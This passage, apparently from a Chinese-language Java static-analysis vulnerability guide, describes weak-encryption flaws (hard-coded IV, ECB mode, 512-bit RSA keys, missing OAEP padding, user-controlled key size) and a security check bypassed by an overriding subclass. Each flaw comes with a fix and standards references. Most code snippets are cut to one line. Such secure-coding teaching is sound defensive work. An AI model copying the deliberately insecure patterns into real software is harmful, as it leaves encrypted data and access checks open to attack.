[4] SDL Development Practices Microsoft
[5] Microsoft Security Fundamentals Microsoft
[6] NIST Special Publication 800-132 NIST
[7] John Kelsey, Bruce Schneier, and David Wagner Related-key cryptanalysis of 3-WAY, Biham-DES, CAST, DES-X, NewDES, RC2, and TEA
[8] Standards Mapping - Common Weakness Enumeration CWE ID 327
[9] Standards Mapping - FIPS200 MP
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[11] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[22] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[23] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[24] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Byte Array to String Conversion
ABSTRACT
将加密密钥转换为 String 会导致熵大量丢失。
EXPLANATION
弱加密:字节数组至字符串转换问题将在以下情况下出现:
加密密钥创建为字节数组
将数据转换为 String
示例 1:以下代码创建了加密密钥,然后将其转换为 String。
1 | import javax.crypto.KeyGenerator; |
这使用默认系统字符集将加密密钥转换为 String,但是对于为构造函数分配了字符集有效范围外的字节时将发生何种变化,却没有相关说明。事实上,与原始的 rawCryptoKey 加密密钥相比,key 很可能会造成熵的大量丢失。
RECOMMENDATIONS
总体而言,应当永远不要将可能包含非字符数据的字节数组转换为 String 对象,因为这会破坏该代码的功能,且在某些情况下(如使用加密密钥)可能会造成更大的安全问题。事实上,很多情况下都不需要将字节数组转换为字符串,如果基于特定原因可以从二进制数据创建 String 对象,则必须先对其进行编码,使其适合于默认字符集。
示例 2:以下代码通过在将字节数组转换为 String 之前对其进行 64 位基址编码,修复了示例 1 中的问题。
1 | import javax.crypto.KeyGenerator; |
这使用 java.util.Base64 类将字节数组编码为经 64 位基址编码的 String 对象,但是应记住,此方式无法防止用户对其进行解码以获取原始加密密钥。
REFERENCES
[1] STR03-J. Do not encode noncharacter data as a string CERT
[2] When ‘EFBFBD’ and Friends Come Knocking: Observations of Byte Array to String Conversions GDS Security
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 320
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Inadequate RSA Padding
ABSTRACT
公钥 RSA 加密在不使用 QAEP 填充模式下执行,因此加密机制比较脆弱。
EXPLANATION
实际中,使用 RSA 公钥的加密通常与某种填充模式结合使用。该填充模式的目的在于防止一些针对 RSA 的攻击,这些攻击仅在执行不带填充模式的加密时才起作用。
例 1: 以下代码通过未使用填充模式的 RSA 公钥执行加密:
1 | public Cipher getRSACipher() { |
RECOMMENDATIONS
为安全使用 RSA,在执行加密时必须使用 OAEP(最优非对称加密填充模式)。
例 2: 以下代码通过使用 OAEP 填充模式的 RSA 公钥执行加密:
1 | public Cipher getRSACipher() { |
REFERENCES
[1] Wikipedia
[2] OPENSSL Documentation
[3] PKCS #1 v2.1: RSA Cryptography Standard
[4] Standards Mapping - Common Weakness Enumeration CWE ID 780
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Insecure Initialization Vector
ABSTRACT
初始化矢量应该使用加密伪随机数值生成器进行创建。
EXPLANATION
初始化矢量 (IV) 应该使用加密伪随机数值生成器进行创建。如果不使用随机 IV,则结果密码文本可预测性会高得多,容易受到字典式攻击。
例 1: 以下代码使用硬编码字节创建非随机 IV。
1 | byte[] iv = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; |
RECOMMENDATIONS
将足够长度的初始化矢量 (IV) 与适当的随机数据源中的字节结合使用。
例 2: 以下代码使用 SecureRandom 创建了完全随机的 IV:
1 | SecureRandom random = new SecureRandom(); |
REFERENCES
[1] Not Using a Random IV with CBC Mode CWE
[2] Java Cryptography Architecture Sun Microsystems
[3] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[4] Standards Mapping - Common Weakness Enumeration CWE ID 329
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Insecure Mode of Operation
ABSTRACT
密码加密算法不能用于不安全的操作模式。
EXPLANATION
块密码操作模式是一种算法,用来描述如何重复地应用密码的单块操作,以安全地转换大于块的数据量。其中一些操作模式包括电子代码本 (ECB)、密码块链 (CBC) 和密码反馈 (CFB)。
ECB 模式本质上较弱,因为它会对相同的明文块生成一样的密文。CBC 模式由于没有这个缺陷,使之成为一个更好的选择。
示例 1:以下代码将 AES 密码用于 ECB 模式:
1 | ... |
RECOMMENDATIONS
加密大于块的数据时,避免使用 ECB 操作模式。CBC 模式更好,因为它不会对相同的明文块生成相同的密文块。然而,CBC 模式效率较低,并且在和 SSL 一起使用时会造成严重风险。[1] 请改用 CCM (Counter with CBC-MAC) 模式,或者如果更注重性能,则使用 GCM(Galois/Counter 模式)模式(如可用)。
示例 2:以下代码将 AES 密码用于 CBC 模式:
1 | ... |
REFERENCES
[1] CVE 2014-3566
[2] Standards Mapping - Common Weakness Enumeration CWE ID 327
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 327
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 327
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 327
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Insufficient Key Size
ABSTRACT
另外,当使用的密钥长度不够时,强大的加密算法便容易受到强力攻击。
EXPLANATION
当前的密码指南建议,RSA 算法使用的密钥长度至少应为 2048 位。但是,计算能力和因子分解技术方面的持续进步 [1] 意味着未来将不可避免地需要提高建议的密钥大小。
例 1: 以下代码可生成 512 位 RSA 加密密钥。
1 | public static KeyPair getRSAKey() throws NoSuchAlgorithmException { |
对于对称加密,密钥长度必须至少为 128 位。
RECOMMENDATIONS
最低限度下,确保 RSA 密钥长度不少于 2048 位。未来几年需要较强加密的应用程序的密码长度应至少为 4096 位。
如果使用 RSA 算法,请确保特定密钥的长度至少为 2048 位。
例 2: 以下代码可生成 2048 位 RSA 加密密钥。
1 | public static KeyPair getGoodRSAKey() throws NoSuchAlgorithmException { |
同样,如果使用对称加密,请确保特定密钥的长度至少为 128 位(适用于 AES)和 168 位(适用于 Triple DES)。
例 3: 以下代码可生成 128 位 AES 加密密钥。
1 | public static SecretKey getGoodAESKey() throws NoSuchAlgorithmException { |
REFERENCES
[1] J. Cheng 307-digit key crack endangers 1024-bit RSA
[2] Cryptographic Algorithms and Key Sizes for Personal Identity Verification NIST
[3] B. Chess and J. West, Secure Programming with Static Analysis. Boston, MA: Addison-Wesley, 2007.
[4] Standards Mapping - Common Weakness Enumeration CWE ID 326
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: Missing Required Step
ABSTRACT
在对称密钥生成、加密或解密过程中,代码错过了对一个必需步骤的调用。
EXPLANATION
对称密钥的生成以及加密和解密涉及多个步骤,错过任何必需步骤都可能会削弱所生成对称密钥或密文的强度,或导致对现有密文的不正确解密。
例 1:下列代码跳过了 KeyGenerator 的初始化步骤,可能导致使用比推荐的密钥更小的密钥:
1 | ... |
RECOMMENDATIONS
在生成对称密钥或密文,或解密现有密文的过程中,实施所有必需步骤。尽可能明确地指定所用参数,以确保不会削弱加密的强度。
例 2: 例 1 中的代码可以按如下所示方式修复:
1 | ... |
REFERENCES
[1] JavaDoc for KeyGenerator Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 325
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak Encryption: User-Controlled Key Size
ABSTRACT
不应将受污染的密钥大小值传递给采用密钥大小参数的加密函数。
EXPLANATION
允许用户控制的值确定密钥大小会让攻击者可以指定一个空密钥,导致攻击者可以相对容易地解密任何使用空密钥进行加密的数据。即使要求使用非零值,攻击者也仍然可以指定尽可能低的值,降低加密的安全性。
弱加密:用户控制密钥大小问题将在以下情况下出现:
数据通过一个不可信赖的数据源进入程序
用户控制的数据包含在密钥大小参数中,或完全用作加密函数中的密钥大小参数。
如同许多软件安全漏洞一样,弱加密:用户控制密钥大小是到达终点的一个途径,其本身并不是终点。从本质上看,这些漏洞是显而易见的:攻击者将恶意数据传送到应用程序,这些数据随后被用作执行加密的密钥大小值的全部或一部分。
用户控制密钥大小的问题在于,它可以实现几个不同的攻击:
- 攻击者可以利用此漏洞,为涉及他们可以访问的任何数据的加密操作指定零密钥大小。由此,可以轻易地使用多个不同的算法以及空密钥,试图对他们自己的数据进行解密,以泄露有关应用程序中使用的加密实现的信息。通过允许攻击者在破解期间仅专注于特定算法,这使攻击者可以更容易地解密其他用户的加密数据。
- 攻击者可以操纵其他用户的加密密钥大小,或诱骗其他用户使用零(或尽可能低的)加密密钥大小,从而使攻击者可能可以读取其他用户的加密数据(一旦攻击者知晓所使用的加密算法)。
例 1: 下列代码借助用户控制的密钥大小参数执行 AES 加密:
1 | ... |
上面的代码将成功运行,但任何获得此功能的人将能够通过修改 keySize 属性,来操纵加密算法的密钥大小参数。一旦程序发布,撤消有关用户控制的密钥大小的问题非常困难,因为极难知道给定加密操作的密钥大小参数是否已经被恶意用户确定。
RECOMMENDATIONS
加密算法的密钥大小参数绝不能由用户控制,即使部分控制也不行。通常情况下,应该根据使用中的加密算法,将密钥大小参数手动设置为相应的密钥大小。有些 API 会提供一组与各种加密算法相对应的密钥大小常量。
例 2: 下列代码使用 API 提供的常量作为密钥大小参数来执行 AES 加密:
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 320
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 3.6.1, Requirement 6.5.8
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 3.6.1, Requirement 6.3.1.3, Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 3.6.1, Requirement 6.5.3
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 3.6.1, Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 3.6.1, Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 3.6.1, Requirement 6.5.3
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.1 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002040 CAT II
Weak SecurityManager Check: Overridable Method
ABSTRACT
用于执行安全检查的非最终方法可能会被绕过安全检查的多种方式覆盖。
EXPLANATION
如果一个方法被子类覆盖,则该子类可绕过其父类中的安全检查。 例 1:在下列代码中,doSecurityCheck() 执行了安全检查,并且它可被其子类覆盖。
1 | public class BadSecurityCheck { |
在此示例中,如果不允许 SecurityManager 权限,则将抛出 SecurityException 异常,这是运行时异常并将阻止程序进一步执行。由于 BadSecurityCheck 不是 final,并且方法 doSecurityCheck() 是 protected 而非 final,因此意味着可以为此类创建子类以覆盖此函数。
示例 2:在以下代码中,doSecurityCheck() 由子类所覆盖:
1 | public class EvilSubclass extends BadSecurityCheck { |
对 EvilSubclass 进行实例化时,构造函数首先调用 super(),以调用超类的构造函数。这反过来会调用函数 doSecurityCheck(),但 Java 从超类中查找之前将先在子类中查找函数,从而调用受攻击者控制且会绕过安全检查的方法,因此 id 仍将设置为 1。
RECOMMENDATIONS
请确保所有执行安全操作的方法(例如,来自 SecurityManager 或 AccessController 的方法)都已在 final 类中声明,或者这些方法本身已声明为最终。 例 2:下列代码将类 GoodSecurityCheck 声明为 final,因此其所有方法都不能被覆盖。
1 | public final class GoodSecurityCheck { |
REFERENCES
[1] M. S. Ware, “Writing secure Java code: taxonomy of heuristics and an evaluation of static analysis tools,” M.S. Thesis, James Madison University, 2008.
[2] MET03-J. Methods that perform a security check must be declared private or final CERT
[3] EXTEND-5: Limit the extensibility of classes and methods Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 358
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2013 A7 Missing Function Level Access Control
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
时间和状态
分布式计算与时间和状态有关。即,为了使多个组件进行通信,必须共享状态,而这一切都需要时间。
大部分程序员会将其工作人格化。他们想象一个控制线程以他们会采用的相同方式执行整个程序(如果他们需要自己完成任务的话)。但是,现代计算机可以在不同的任务之间迅速切换,并且是在多核、多 CPU 或分布式系统中进行切换,两个事件可以在完全相同的时间发生。对于程序如何执行,程序员的模型和实际情况之间存在差距,匆忙之中缺陷便会趁虚而入。这些缺陷与线程、进程、时间和信息之间的意外交互相关。这些交互通过共享状态实现:信号、变量、文件系统以及基本上任何可以存储信息的介质。
Code Correctness: Call to sleep() in Lock
Code Correctness: Double-Checked Locking
J2EE Bad Practices: Insufficient Session Expiration
J2EE Bad Practices: JVM Termination
J2EE Bad Practices: Non-Serializable Object Stored in Session
J2EE Bad Practices: Threads
Race Condition: Format Flaw
Race Condition: Singleton Member Field
Race Condition: Static Database Connection(dbconn)
Session Fixation
Code Correctness: Call to sleep() in Lock
ABSTRACT
调用 sleep() 同时保持锁定可能会导致性能下降以及死锁。
EXPLANATION
如果多个线程尝试获取一个资源上的锁定,在调用 sleep() 的同时保持锁定可导致所有其他线程等待释放该资源,这就会造成性能下降和死锁。
例 1:下列代码调用 sleep() 同时还保持锁定。
1 | ReentrantLock rl = new ReentrantLock(); |
RECOMMENDATIONS
设计类以使对象在获取锁定之间等待。如果您必须调用 sleep(),应尽可能在获取锁定之前进行调用。
例 2:下列代码在获取锁定之前调用 sleep()。
